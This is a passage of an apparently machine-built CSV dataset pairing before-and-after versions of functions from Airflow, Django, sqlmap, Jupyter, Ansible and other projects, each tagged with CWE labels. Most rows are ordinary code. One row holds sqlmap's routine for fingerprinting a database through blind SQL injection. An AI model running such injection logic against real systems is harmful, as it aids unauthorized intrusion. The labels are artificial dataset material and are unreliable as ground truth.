    suspected_sensitive = {(s, k) for (s, k) in all_keys if k.endswith((""password"", ""kwargs""))}
    exclude_list = {
        (""aws_batch_executor"", ""submit_job_kwargs""),
        (""kubernetes_executor"", ""delete_option_kwargs""),
        (""aws_ecs_executor"", ""run_task_kwargs""),  # Only a constrained set of values, none are sensitive
    }
    suspected_sensitive -= exclude_list
    sensitive_values.update(suspected_sensitive)
    assert sensitive_values == conf.sensitive_config_values",CWE-703,apache/airflow,d5bd1344b626b0a407e651380c061c363e9cab5a,"def test_sensitive_values():
    from airflow.settings import conf

    # this list was hardcoded prior to 2.6.2
    # included here to avoid regression in refactor
    # inclusion of keys ending in ""password"" or ""kwargs"" is automated from 2.6.2
    # items not matching this pattern must be added here manually
    sensitive_values = {
        (""database"", ""sql_alchemy_conn""),
        (""core"", ""fernet_key""),
        (""core"", ""internal_api_secret_key""),
        (""webserver"", ""secret_key""),
        (""secrets"", ""backend_kwargs""),
        (""sentry"", ""sentry_dsn""),
        (""database"", ""sql_alchemy_engine_args""),
        (""core"", ""sql_alchemy_conn""),
        (""celery_broker_transport_options"", ""sentinel_kwargs""),
        (""celery"", ""broker_url""),
        (""celery"", ""flower_basic_auth""),
        (""celery"", ""result_backend""),
        (""opensearch"", ""username""),
        (""opensearch"", ""password""),
    }
    all_keys = {(s, k) for s, v in conf.configuration_description.items() for k in v.get(""options"")}
    suspected_sensitive = {(s, k) for (s, k) in all_keys if k.endswith((""password"", ""kwargs""))}
    exclude_list = {
        (""aws_batch_executor"", ""submit_job_kwargs""),
        (""kubernetes_executor"", ""delete_option_kwargs""),
        (""aws_ecs_executor"", ""run_task_kwargs""),  # Only a constrained set of values, none are sensitive
    }
    suspected_sensitive -= exclude_list
    sensitive_values.update(suspected_sensitive)
    assert sensitive_values == conf.sensitive_config_values"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/controller/checks.py,0,"def heuristicCheckDbms(injection):
    """"""
    This functions is called when boolean-based blind is identified with a
    generic payload and the DBMS has not yet been fingerprinted to attempt
    to identify with a simple DBMS specific boolean-based test what the DBMS
    may be
    """"""
    retVal = False

    pushValue(kb.injection)
    kb.injection = injection

    for dbms in getPublicTypeMembers(DBMS, True):
        randStr1, randStr2 = randomStr(), randomStr()

        Backend.forceDbms(dbms)

        if (randStr1 in unescaper.escape(""'%s'"" % randStr1)) and list(FROM_DUMMY_TABLE.values()).count(FROM_DUMMY_TABLE.get(dbms, """")) != 1:
            continue

        if checkBooleanExpression(""(SELECT '%s'%s)=%s%s%s"" % (randStr1, FROM_DUMMY_TABLE.get(dbms, """"), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)):
            if not checkBooleanExpression(""(SELECT '%s'%s)=%s%s%s"" % (randStr1, FROM_DUMMY_TABLE.get(dbms, """"), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
                retVal = dbms
                break

    Backend.flushForcedDbms()
    kb.injection = popValue()

    if retVal:
        infoMsg = ""heuristic (extended) test shows that the back-end DBMS ""  # Not as important as ""parsing"" counter-part (because of false-positives)
        infoMsg += ""could be '%s' "" % retVal
        logger.info(infoMsg)

        kb.heuristicExtendedDbms = retVal

    return retVal",,sqlmapproject/sqlmap,ec4880e0e126386521152a4aea39c549c1e901b4,"def heuristicCheckDbms(injection):
    """"""
    This functions is called when boolean-based blind is identified with a
    generic payload and the DBMS has not yet been fingerprinted to attempt
    to identify with a simple DBMS specific boolean-based test what the DBMS
    may be
    """"""
    retVal = False

    pushValue(kb.injection)
    kb.injection = injection

    for dbms in getPublicTypeMembers(DBMS, True):
        randStr1, randStr2 = randomStr(), randomStr()

        Backend.forceDbms(dbms)

        if (randStr1 in unescaper.escape(""'%s'"" % randStr1)) and FROM_DUMMY_TABLE.values().count(FROM_DUMMY_TABLE.get(dbms, """")) != 1:
            continue

        if checkBooleanExpression(""(SELECT '%s'%s)=%s%s%s"" % (randStr1, FROM_DUMMY_TABLE.get(dbms, """"), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)):
            if not checkBooleanExpression(""(SELECT '%s'%s)=%s%s%s"" % (randStr1, FROM_DUMMY_TABLE.get(dbms, """"), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
                retVal = dbms
                break

    Backend.flushForcedDbms()
    kb.injection = popValue()

    if retVal:
        infoMsg = ""heuristic (extended) test shows that the back-end DBMS ""  # Not as important as ""parsing"" counter-part (because of false-positives)
        infoMsg += ""could be '%s' "" % retVal
        logger.info(infoMsg)

        kb.heuristicExtendedDbms = retVal

    return retVal"
,UNKNOWN,UNKNOWN,django/db/models/fields/related.py,1,"def __init__(self, to, **kwargs):
        try:
            assert not to._meta.abstract, ""%s cannot define a relation with abstract class %s"" % (self.__class__.__name__, to._meta.object_name)
        except AttributeError: # to._meta doesn't exist, so it must be RECURSIVE_RELATIONSHIP_CONSTANT
            assert isinstance(to, basestring), ""%s(%r) is invalid. First parameter to ManyToManyField must be either a model, a model name, or the string %r"" % (self.__class__.__name__, to, RECURSIVE_RELATIONSHIP_CONSTANT)
            # Python 2.6 and earlier require dictionary keys to be of str type,
            # not unicode and class names must be ASCII (in Python 2.x), so we
            # forcibly coerce it here (breaks early if there's a problem).
            to = str(to)

        kwargs['verbose_name'] = kwargs.get('verbose_name', None)
        kwargs['rel'] = ManyToManyRel(to,
            related_name=kwargs.pop('related_name', None),
            limit_choices_to=kwargs.pop('limit_choices_to', None),
            symmetrical=kwargs.pop('symmetrical', to==RECURSIVE_RELATIONSHIP_CONSTANT),
            through=kwargs.pop('through', None))

        self.db_table = kwargs.pop('db_table', None)
        if kwargs['rel'].through is not None:
            assert self.db_table is None, ""Cannot specify a db_table if an intermediary model is used.""

        Field.__init__(self, **kwargs)

        msg = _('Hold down ""Control"", or ""Command"" on a Mac, to select more than one.')
        self.help_text = string_concat(self.help_text, ' ', msg)",CWE-703,django/django,587fbff3dd500cd3444dc7a0717e541307ff869d,"def __init__(self, to, **kwargs):
        try:
            assert not to._meta.abstract, ""%s cannot define a relation with abstract class %s"" % (self.__class__.__name__, to._meta.object_name)
        except AttributeError: # to._meta doesn't exist, so it must be RECURSIVE_RELATIONSHIP_CONSTANT
            assert isinstance(to, basestring), ""%s(%r) is invalid. First parameter to ManyToManyField must be either a model, a model name, or the string %r"" % (self.__class__.__name__, to, RECURSIVE_RELATIONSHIP_CONSTANT)

        kwargs['verbose_name'] = kwargs.get('verbose_name', None)
        kwargs['rel'] = ManyToManyRel(to,
            related_name=kwargs.pop('related_name', None),
            limit_choices_to=kwargs.pop('limit_choices_to', None),
            symmetrical=kwargs.pop('symmetrical', to==RECURSIVE_RELATIONSHIP_CONSTANT),
            through=kwargs.pop('through', None))

        self.db_table = kwargs.pop('db_table', None)
        if kwargs['rel'].through is not None:
            assert self.db_table is None, ""Cannot specify a db_table if an intermediary model is used.""

        Field.__init__(self, **kwargs)

        msg = _('Hold down ""Control"", or ""Command"" on a Mac, to select more than one.')
        self.help_text = string_concat(self.help_text, ' ', msg)"
functions_for_yaml_with_cwe.csv,UNKNOWN,UNKNOWN,lib/yaml/emitter.py,0,"def choose_scalar_style(self):
        if self.analysis is None:
            self.analysis = self.analyze_scalar(self.event.value)
        if self.event.style == '""' or self.canonical:
            return '""'
        if not self.event.style and self.event.implicit[0]:
            if (not (self.simple_key_context and
                    (self.analysis.empty or self.analysis.multiline))
                and (self.flow_level and self.analysis.allow_flow_plain
                    or (not self.flow_level and self.analysis.allow_block_plain))):
                return ''
        if self.event.style and self.event.style in '|>':
            if (not self.flow_level and not self.simple_key_context
                    and self.analysis.allow_block):
                return self.event.style
        if not self.event.style or self.event.style == '\'':
            if (self.analysis.allow_single_quoted and
                    not (self.simple_key_context and self.analysis.multiline)):
                return '\''
        return '""'",,yaml/pyyaml,2e6c774c921c4f37569d6996e4a7a85f2783ae08,"def choose_scalar_style(self):
        if self.analysis is None:
            self.analysis = self.analyze_scalar(self.event.value)
        if self.event.style == '""' or self.canonical:
            return '""'
        if not self.event.style and self.event.implicit[0]:
            if (not (self.simple_key_context and
                    (self.analysis.empty or self.analysis.multiline))
                and (self.flow_level and self.analysis.allow_flow_plain
                    or (not self.flow_level and self.analysis.allow_block_plain))):
                return ''
        if self.event.style and self.event.style in '|>':
            if not self.flow_level and self.analysis.allow_block:
                return self.event.style
        if not self.event.style or self.event.style == '\'':
            if (self.analysis.allow_single_quoted and
                    not (self.simple_key_context and self.analysis.multiline)):
                return '\''
        return '""'"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/circlerefs_test.py,0,"def test_known_leak(self):
        # Construct a known leak scenario to make sure the test harness works.
        class C(object):
            def __init__(self, name):
                self.name = name
                self.a: typing.Optional[C] = None
                self.b: typing.Optional[C] = None
                self.c: typing.Optional[C] = None

            def __repr__(self):
                return f""name={self.name}""

        with self.assertRaises(AssertionError) as cm:
            with assert_no_cycle_garbage():
                # a and b form a reference cycle. c is not part of the cycle,
                # but it cannot be GC'd while a and b are alive.
                a = C(""a"")
                b = C(""b"")
                c = C(""c"")
                a.b = b
                a.c = c
                b.a = a
                b.c = c
                del a, b
        self.assertIn(""Circular"", str(cm.exception))
        # Leading spaces ensure we only catch these at the beginning of a line, meaning they are a
        # cycle participant and not simply the contents of a locals dict or similar container. (This
        # depends on the formatting above which isn't ideal but this test evolved from a
        # command-line script) Note that the behavior here changed in python 3.11; in newer pythons
        # locals are handled a bit differently and the test passes without the spaces.
        self.assertIn(""    name=a"", str(cm.exception))
        self.assertIn(""    name=b"", str(cm.exception))
        self.assertNotIn(""    name=c"", str(cm.exception))",CWE-Unknown,tornadoweb/tornado,e80e9441b8777b2dbe78de5dd783bb6fcd3d00d5,"def test_known_leak(self):
        # Construct a known leak scenario to make sure the test harness works.
        class C(object):
            def __init__(self, name):
                self.name = name
                self.a: typing.Optional[C] = None
                self.b: typing.Optional[C] = None
                self.c: typing.Optional[C] = None

            def __repr__(self):
                return f""name={self.name}""

        with self.assertRaises(AssertionError) as cm:
            with assert_no_cycle_garbage():
                # a and b form a reference cycle. c is not part of the cycle,
                # but it cannot be GC'd while a and b are alive.
                a = C(""a"")
                b = C(""b"")
                c = C(""c"")
                a.b = b
                a.c = c
                b.a = a
                b.c = c
                del a, b
        self.assertIn(""Circular"", str(cm.exception))
        self.assertIn(""name=a"", str(cm.exception))
        self.assertIn(""name=b"", str(cm.exception))
        self.assertNotIn(""name=c"", str(cm.exception))"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/services/sessions/handlers.py,0,"def patch(self, session_id):
        """"""Patch updates sessions:

        - notebook.path updates session to track renamed notebooks
        - kernel.name starts a new kernel with a given kernelspec
        """"""
        sm = self.session_manager
        km = self.kernel_manager
        model = self.get_json_body()
        if model is None:
            raise web.HTTPError(400, ""No JSON data provided"")

        # get the previous session model
        before = yield gen.maybe_future(sm.get_session(session_id=session_id))

        changes = {}
        if 'notebook' in model:
            notebook = model['notebook']
            if notebook.get('path') is not None:
                changes['path'] = notebook['path']
        if 'kernel' in model:
            # Kernel id takes precedence over name.
            if model['kernel'].get('id') is not None:
                kernel_id = model['kernel']['id']
                if kernel_id not in km:
                    raise web.HTTPError(400, ""No such kernel: %s"" % kernel_id)
                changes['kernel_id'] = kernel_id
            elif model['kernel'].get('name') is not None:
                kernel_name = model['kernel']['name']
                kernel_id = yield sm.start_kernel_for_session(
                    session_id, kernel_name=kernel_name, path=before['notebook']['path'])
                changes['kernel_id'] = kernel_id

        yield gen.maybe_future(sm.update_session(session_id, **changes))
        model = yield gen.maybe_future(sm.get_session(session_id=session_id))

        if model['kernel']['id'] != before['kernel']['id']:
            # kernel_id changed because we got a new kernel
            # shutdown the old one
            yield gen.maybe_future(
                km.shutdown_kernel(before['kernel']['id'])
            )
        self.finish(json.dumps(model, default=date_default))",,jupyter/notebook,7174d9d967103cafa94ba2c5308d6d9df32c6179,"def patch(self, session_id):
        """"""Patch updates sessions:

        - notebook.path updates session to track renamed notebooks
        - kernel.name starts a new kernel with a given kernelspec
        """"""
        sm = self.session_manager
        km = self.kernel_manager
        model = self.get_json_body()
        if model is None:
            raise web.HTTPError(400, ""No JSON data provided"")

        # get the previous session model
        before = yield gen.maybe_future(sm.get_session(session_id=session_id))

        changes = {}
        if 'notebook' in model:
            notebook = model['notebook']
            if notebook.get('path') is not None:
                changes['path'] = notebook['path']
        if 'kernel' in model:
            if model['kernel'].get('name') is not None:
                kernel_name = model['kernel']['name']
                kernel_id = yield sm.start_kernel_for_session(
                    session_id, kernel_name=kernel_name, path=before['notebook']['path'])
                changes['kernel_id'] = kernel_id
            if model['kernel'].get('id') is not None:
                kernel_id = model['kernel']['id']
                if kernel_id not in km:
                    raise web.HTTPError(400, ""No such kernel: %s"" % kernel_id)
                changes['kernel_id'] = kernel_id

        yield gen.maybe_future(sm.update_session(session_id, **changes))
        model = yield gen.maybe_future(sm.get_session(session_id=session_id))

        if model['kernel']['id'] != before['kernel']['id']:
            # kernel_id changed because we got a new kernel
            # shutdown the old one
            yield gen.maybe_future(
                km.shutdown_kernel(before['kernel']['id'])
            )
        self.finish(json.dumps(model, default=date_default))"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/entities/evaluation.py,0,"def __init__(
        self,
        evaluation_id: str,
        run_id: str,
        inputs_id: str,
        inputs: Dict[str, Any],
        outputs: Dict[str, Any],
        request_id: Optional[str] = None,
        targets: Optional[Dict[str, Any]] = None,
        assessments: Optional[List[Assessment]] = None,
        metrics: Optional[List[Metric]] = None,
        error_code: Optional[str] = None,
        error_message: Optional[str] = None,
    ):
        """"""
        Construct a new mlflow.entities.Evaluation instance.

        Args:
            evaluation_id: A unique identifier for the evaluation result.
            run_id: The ID of the MLflow Run containing the Evaluation.
            inputs_id: A unique identifier for the input names and values for evaluation.
            inputs: Input names and values for evaluation.
            outputs: Outputs obtained during inference.
            request_id: The ID of an MLflow Trace corresponding to the inputs and outputs.
            targets: Expected values that the model should produce during inference.
            assessments: Assessments for the given row.
            metrics: Objective numerical metrics for the row, e.g., ""number of input tokens"",
                ""number of output tokens"".
            error_code: An error code representing any issues encountered during the evaluation.
            error_message: A descriptive error message representing any issues encountered during
                the evaluation.
        """"""
        self._evaluation_id = evaluation_id
        self._run_id = run_id
        self._inputs_id = inputs_id
        self._inputs = inputs
        self._outputs = outputs
        self._request_id = request_id
        self._targets = targets
        self._assessments = assessments
        self._metrics = metrics
        self._error_code = error_code
        self._error_message = error_message",,mlflow/mlflow,728e503961fbd2360a2950627674160e2d542b54,"def __init__(
        self,
        evaluation_id: str,
        run_id: str,
        inputs_id: str,
        inputs: Dict[str, Any],
        outputs: Dict[str, Any],
        request_id: Optional[str] = None,
        targets: Optional[Dict[str, Any]] = None,
        assessments: Optional[List[Assessment]] = None,
        metrics: Optional[List[Metric]] = None,
    ):
        """"""
        Construct a new mlflow.entities.Evaluation instance.

        Args:
            evaluation_id: A unique identifier for the evaluation result.
            run_id: The ID of the MLflow Run containing the Evaluation.
            inputs_id: A unique identifier for the input names and values for evaluation.
            inputs: Input names and values for evaluation.
            outputs: Outputs obtained during inference.
            request_id: The ID of an MLflow Trace corresponding to the inputs and outputs.
            targets: Expected values that the model should produce during inference.
            assessments: Assessments for the given row.
            metrics: Objective numerical metrics for the row, e.g., ""number of input tokens"",
                ""number of output tokens"".
        """"""
        self._evaluation_id = evaluation_id
        self._run_id = run_id
        self._inputs_id = inputs_id
        self._inputs = inputs
        self._outputs = outputs
        self._request_id = request_id
        self._targets = targets
        self._assessments = assessments
        self._metrics = metrics"
,UNKNOWN,UNKNOWN,tests/cli/commands/test_task_command.py,1,"def test_cli_test_with_env_vars(self):
        with redirect_stdout(StringIO()) as stdout:
            task_command.task_test(
                self.parser.parse_args(
                    [
                        ""tasks"",
                        ""test"",
                        ""example_passing_params_via_test_command"",
                        ""env_var_test_task"",
                        DEFAULT_DATE.isoformat(),
                        ""--env-vars"",
                        '{""foo"":""bar""}',
                    ]
                )
            )
        output = stdout.getvalue()
        assert ""foo=bar"" in output
        assert ""AIRFLOW_TEST_MODE=True"" in output",CWE-703,apache/airflow,4404e64247daf37b350bc7cd835d397256507ad1,"def test_cli_test_with_env_vars(self):
        with redirect_stdout(StringIO()) as stdout:
            task_command.task_test(
                self.parser.parse_args(
                    [
                        ""tasks"",
                        ""test"",
                        ""example_passing_params_via_test_command"",
                        ""env_var_test_task"",
                        DEFAULT_DATE.isoformat(),
                        ""--env-vars"",
                        '{""foo"":""bar""}',
                    ]
                )
            )
        output = stdout.getvalue()
        assert ""foo=bar"" in output
        assert ""AIRFLOW_TEST_MODE=True"" in output"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/kdbgscan.py,0,"def calculate(self):
        """"""Determines the address space""""""
        profilelist = [ p.__name__ for p in registry.get_plugin_classes(obj.Profile).values() ]

        encrypted_kdbg_profiles = []
        proflens = {}
        maxlen = 0
        origprofile = self._config.PROFILE
        for p in profilelist:
            self._config.update('PROFILE', p)
            buf = addrspace.BufferAddressSpace(self._config)
            if buf.profile.metadata.get('os', 'unknown') == 'windows':
                proflens[p] = str(obj.VolMagic(buf).KDBGHeader)
                maxlen = max(maxlen, len(proflens[p]))
                if (buf.profile.metadata.get('memory_model', '64bit') == '64bit' and 
                            (buf.profile.metadata.get('major', 0), 
                            buf.profile.metadata.get('minor', 0)) >= (6, 2)):
                    encrypted_kdbg_profiles.append(p)
                    
        self._config.update('PROFILE', origprofile)
        # keep track of the number of potential KDBGs we find
        count = 0

        if origprofile not in encrypted_kdbg_profiles:
            scanner = KDBGScanner(needles = proflens.values())

            aspace = utils.load_as(self._config, astype = 'any')

            suspects = []
            for offset in scanner.scan(aspace):
                val = aspace.read(offset, maxlen + 0x10)
                for l in proflens:
                    if val.find(proflens[l]) >= 0:
                        kdbg = obj.Object(""_KDDEBUGGER_DATA64"", offset = offset, vm = aspace)
                        suspects.append((l, kdbg))
                        count += 1
            for p, k in suspects:
                if not self._config.FORCE:
                    yield p, k
                    continue
                self._config.update(""PROFILE"", p)
                nspace = utils.load_as(self._config, astype = ""any"")
                for offset in scanner.scan(nspace):
                    val = nspace.read(offset, maxlen + 0x10)
                    if val.find(proflens[p]) >= 0:
                        kdbg = obj.Object(""_KDDEBUGGER_DATA64"", offset = offset, vm = nspace)
                        yield p, kdbg
            self._config.update('PROFILE', origprofile)

        # only perform the special win8/2012 scan if we didn't find 
        # any others and if a virtual x64 address space is available 
        if count == 0:
            if origprofile in encrypted_kdbg_profiles:
                encrypted_kdbg_profiles = [origprofile]
            for profile in encrypted_kdbg_profiles:
                self._config.update('PROFILE', profile)
                aspace = utils.load_as(self._config, astype = 'any')
                if hasattr(aspace, 'vtop'):
                    for kdbg in obj.VolMagic(aspace).KDBG.generate_suggestions():
                        yield profile, kdbg",,volatilityfoundation/volatility,3ab9c618771a5d3f84ef51dc9d6251c32d90c2d1,"def calculate(self):
        """"""Determines the address space""""""
        profilelist = [ p.__name__ for p in registry.get_plugin_classes(obj.Profile).values() ]

        encrypted_kdbg_profiles = []
        proflens = {}
        maxlen = 0
        origprofile = self._config.PROFILE
        for p in profilelist:
            self._config.update('PROFILE', p)
            buf = addrspace.BufferAddressSpace(self._config)
            if buf.profile.metadata.get('os', 'unknown') == 'windows':
                proflens[p] = str(obj.VolMagic(buf).KDBGHeader)
                maxlen = max(maxlen, len(proflens[p]))
                if (buf.profile.metadata.get('memory_model', '64bit') == '64bit' and 
                            (buf.profile.metadata.get('major', 0), 
                            buf.profile.metadata.get('minor', 0)) >= (6, 2)):
                    encrypted_kdbg_profiles.append(p)
                    
        self._config.update('PROFILE', origprofile)
        # keep track of the number of potential KDBGs we find
        count = 0

        if origprofile not in encrypted_kdbg_profiles:
            scanner = KDBGScanner(needles = proflens.values())

            aspace = utils.load_as(self._config, astype = 'any')

            suspects = []
            for offset in scanner.scan(aspace):
                val = aspace.read(offset, maxlen + 0x10)
                for l in proflens:
                    if val.find(proflens[l]) >= 0:
                        kdbg = obj.Object(""_KDDEBUGGER_DATA64"", offset = offset, vm = aspace)
                        suspects.append((l, kdbg))
                        count += 1
            for p, k in suspects:
                if not self._config.FULL:
                    yield p, k
                    continue
                self._config.update(""PROFILE"", p)
                nspace = utils.load_as(self._config, astype = ""any"")
                for offset in scanner.scan(nspace):
                    val = nspace.read(offset, maxlen + 0x10)
                    if val.find(proflens[p]) >= 0:
                        kdbg = obj.Object(""_KDDEBUGGER_DATA64"", offset = offset, vm = nspace)
                        yield p, kdbg
            self._config.update('PROFILE', origprofile)

        # only perform the special win8/2012 scan if we didn't find 
        # any others and if a virtual x64 address space is available 
        if count == 0:
            if origprofile in encrypted_kdbg_profiles:
                encrypted_kdbg_profiles = [origprofile]
            for profile in encrypted_kdbg_profiles:
                self._config.update('PROFILE', profile)
                aspace = utils.load_as(self._config, astype = 'any')
                if hasattr(aspace, 'vtop'):
                    for kdbg in obj.VolMagic(aspace).KDBG.generate_suggestions():
                        yield profile, kdbg"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/bundler/handlers.py,0,"def get_bundler(self, bundler_id):
        """"""
        Get bundler metadata from config given a bundler ID.
        
        Parameters
        ----------
        bundler_id: str
            Unique bundler ID within the notebook/bundlerextensions config section
        
        Returns
        -------
        dict
            Bundler metadata with label, group, and module_name attributes
        
        
        Raises
        ------
        KeyError
            If the bundler ID is unknown
        """"""
        cm = ConfigManager()
        return cm.get('notebook').get('bundlerextensions', {})[bundler_id]",,jupyter/notebook,c82cce050b725214a980da4e9830ca3ddf748c1e,"def get_bundler(self, bundler_id):
        """"""
        Get bundler metadata from config given a bundler ID.
        
        Parameters
        ----------
        bundler_id: str
            Unique bundler ID within the notebook/bundlerextensions config section
        
        Returns
        -------
        dict
            Bundler metadata with label, group, and module_name attributes
        
        
        Raises
        ------
        KeyError
            If the bundler ID is unknown
        """"""
        cm = ConfigManager()
        return cm.get('notebook').get('bundlers', {})[bundler_id]"
,UNKNOWN,UNKNOWN,test/units/modules/network/f5/test_bigiq_regkey_license.py,1,"def test_create(self, *args):
        set_module_args(dict(
            regkey_pool='foo',
            license_key='XXXX-XXXX-XXXX-XXXX-XXXX',
            accept_eula=True,
            description='this is a description',
            password='password',
            server='localhost',
            user='admin'
        ))

        module = AnsibleModule(
            argument_spec=self.spec.argument_spec,
            supports_check_mode=self.spec.supports_check_mode
        )
        mm = ModuleManager(module=module)

        # Override methods to force specific logic in the module to happen
        mm.exists = Mock(side_effect=[False, True])
        mm.create_on_device = Mock(return_value=True)

        results = mm.exec_module()

        assert results['changed'] is True
        assert results['description'] == 'this is a description'","CWE-259, CWE-703",ansible/ansible,07a011cd6fe59115d5597dfe5b27dd47611bfaf1,"def test_create(self, *args):
        set_module_args(dict(
            regkey_pool='foo',
            license_key='XXXX-XXXX-XXXX-XXXX-XXXX',
            accept_eula=True,
            description='this is a description',
            password='passsword',
            server='localhost',
            user='admin'
        ))

        module = AnsibleModule(
            argument_spec=self.spec.argument_spec,
            supports_check_mode=self.spec.supports_check_mode
        )
        mm = ModuleManager(module=module)

        # Override methods to force specific logic in the module to happen
        mm.exists = Mock(side_effect=[False, True])
        mm.create_on_device = Mock(return_value=True)

        results = mm.exec_module()

        assert results['changed'] is True
        assert results['description'] == 'this is a description'"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/executors/dask_executor.py,0,"def assert_tasks_on_executor(self, executor):
        # start the executor
        executor.start()

        success_command = ['true', ]
        fail_command = ['false', ]

        executor.execute_async(key='success', command=success_command)
        executor.execute_async(key='fail', command=fail_command)

        success_future = next(
            k for k, v in executor.futures.items() if v == 'success')
        fail_future = next(
            k for k, v in executor.futures.items() if v == 'fail')

        # wait for the futures to execute, with a timeout
        timeout = timezone.utcnow() + timedelta(seconds=30)
        while not (success_future.done() and fail_future.done()):
            if timezone.utcnow() > timeout:
                raise ValueError(
                    'The futures should have finished; there is probably '
                    'an error communciating with the Dask cluster.')

        # both tasks should have finished
        self.assertTrue(success_future.done())
        self.assertTrue(fail_future.done())

        # check task exceptions
        self.assertTrue(success_future.exception() is None)
        self.assertTrue(fail_future.exception() is not None)",CWE-Unknown,apache/airflow,ad2bc2c3400bd55fa560f43a718d0db9cc9abbdc,"def assert_tasks_on_executor(self, executor):
        # start the executor
        executor.start()

        success_command = 'echo 1'
        fail_command = 'exit 1'

        executor.execute_async(key='success', command=success_command)
        executor.execute_async(key='fail', command=fail_command)

        success_future = next(
            k for k, v in executor.futures.items() if v == 'success')
        fail_future = next(
            k for k, v in executor.futures.items() if v == 'fail')

        # wait for the futures to execute, with a timeout
        timeout = timezone.utcnow() + timedelta(seconds=30)
        while not (success_future.done() and fail_future.done()):
            if timezone.utcnow() > timeout:
                raise ValueError(
                    'The futures should have finished; there is probably '
                    'an error communciating with the Dask cluster.')

        # both tasks should have finished
        self.assertTrue(success_future.done())
        self.assertTrue(fail_future.done())

        # check task exceptions
        self.assertTrue(success_future.exception() is None)
        self.assertTrue(fail_future.exception() is not None)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/providers/apache/hive/transfers/mysql_to_hive.py,0,"def execute(self, context: Context):
        hive = HiveCliHook(hive_cli_conn_id=self.hive_cli_conn_id)
        mysql = MySqlHook(mysql_conn_id=self.mysql_conn_id)

        self.log.info(""Dumping MySQL query results to local file"")
        conn = mysql.get_conn()
        cursor = conn.cursor()
        cursor.execute(self.sql)
        with NamedTemporaryFile(""wb"") as f:
            csv_writer = csv.writer(
                f,
                delimiter=self.delimiter,
                quoting=self.quoting,
                quotechar=self.quotechar,
                escapechar=self.escapechar,
                encoding=""utf-8"",
            )
            field_dict = OrderedDict()
            if cursor.description is not None:
                for field in cursor.description:
                    field_dict[field[0]] = self.type_map(field[1])
            csv_writer.writerows(cursor)
            f.flush()
            cursor.close()
            conn.close()  # type: ignore[misc]
            self.log.info(""Loading file into Hive"")
            hive.load_file(
                f.name,
                self.hive_table,
                field_dict=field_dict,
                create=self.create,
                partition=self.partition,
                delimiter=self.delimiter,
                recreate=self.recreate,
                tblproperties=self.tblproperties,
            )",CWE-Unknown,apache/airflow,aa97474020712d3f450ab169a5a054580e7b7d28,"def execute(self, context: Context):
        hive = HiveCliHook(hive_cli_conn_id=self.hive_cli_conn_id)
        mysql = MySqlHook(mysql_conn_id=self.mysql_conn_id)

        self.log.info(""Dumping MySQL query results to local file"")
        conn = mysql.get_conn()
        cursor = conn.cursor()
        cursor.execute(self.sql)
        with NamedTemporaryFile(""wb"") as f:
            csv_writer = csv.writer(
                f,
                delimiter=self.delimiter,
                quoting=self.quoting,
                quotechar=self.quotechar,
                escapechar=self.escapechar,
                encoding=""utf-8"",
            )
            field_dict = OrderedDict()
            for field in cursor.description:
                field_dict[field[0]] = self.type_map(field[1])
            csv_writer.writerows(cursor)
            f.flush()
            cursor.close()
            conn.close()
            self.log.info(""Loading file into Hive"")
            hive.load_file(
                f.name,
                self.hive_table,
                field_dict=field_dict,
                create=self.create,
                partition=self.partition,
                delimiter=self.delimiter,
                recreate=self.recreate,
                tblproperties=self.tblproperties,
            )"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/postgres/operations.py,0,"def database_backwards(self, app_label, schema_editor, from_state, to_state):
        self._ensure_not_in_transaction(schema_editor)
        model = to_state.apps.get_model(app_label, self.model_name)
        if self.allow_migrate_model(schema_editor.connection.alias, model):
            to_model_state = to_state.models[app_label, self.model_name_lower]
            index = to_model_state.get_index_by_name(self.name)
            schema_editor.add_index(model, index, concurrently=True)",CWE-Unknown,django/django,f5e07601b233a50e6bcca438f65fd7028277f78b,"def database_backwards(self, app_label, schema_editor, from_state, to_state):
        self._ensure_not_in_transaction(schema_editor)
        model = to_state.apps.get_model(app_label, self.model_name)
        if self.allow_migrate_model(schema_editor.connection.alias, model):
            to_model_state = to_state.models[app_label, self.model_name_lower]
            index = to_model_state.get_index_by_name(self.name)
            schema_editor.add_index(model, index, concurrently=True)"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/options_test.py,0,"def test_parse_config_file(self):
        options = OptionParser()
        options.define(""port"", default=80)
        options.define(""username"", default='foo')
        options.define(""my_path"")
        config_path = os.path.join(os.path.dirname(__file__),
                                   ""options_test.cfg"")
        options.parse_config_file(config_path)
        self.assertEqual(options.port, 443)
        self.assertEqual(options.username, ""李康"")
        self.assertEqual(options.my_path, config_path)",CWE-Unknown,tornadoweb/tornado,50f9eedd89f26fc86974461b6ddd84343504be93,"def test_parse_config_file(self):
        options = OptionParser()
        options.define(""port"", default=80)
        options.define(""username"", default='foo')
        options.parse_config_file(os.path.join(os.path.dirname(__file__),
                                               ""options_test.cfg""))
        self.assertEquals(options.port, 443)
        self.assertEqual(options.username, ""李康"")"
,UNKNOWN,UNKNOWN,helm_tests/webserver/test_webserver.py,1,"def test_should_add_component_specific_labels(self):
        docs = render_chart(
            values={
                ""webserver"": {
                    ""serviceAccount"": {""create"": True},
                    ""labels"": {""test_label"": ""test_label_value""},
                },
            },
            show_only=[""templates/webserver/webserver-serviceaccount.yaml""],
        )
        assert ""test_label"" in jmespath.search(""metadata.labels"", docs[0])
        assert jmespath.search(""metadata.labels"", docs[0])[""test_label""] == ""test_label_value""",CWE-703,apache/airflow,f17bc0f4bf15504833f2c8fd72d947c2ddfa55ed,"def test_should_add_component_specific_labels(self):
        docs = render_chart(
            values={
                ""webserver"": {
                    ""serviceAccount"": {""create"": True},
                    ""labels"": {""test_label"": ""test_label_value""},
                },
            },
            show_only=[""templates/webserver/webserver-serviceaccount.yaml""],
        )
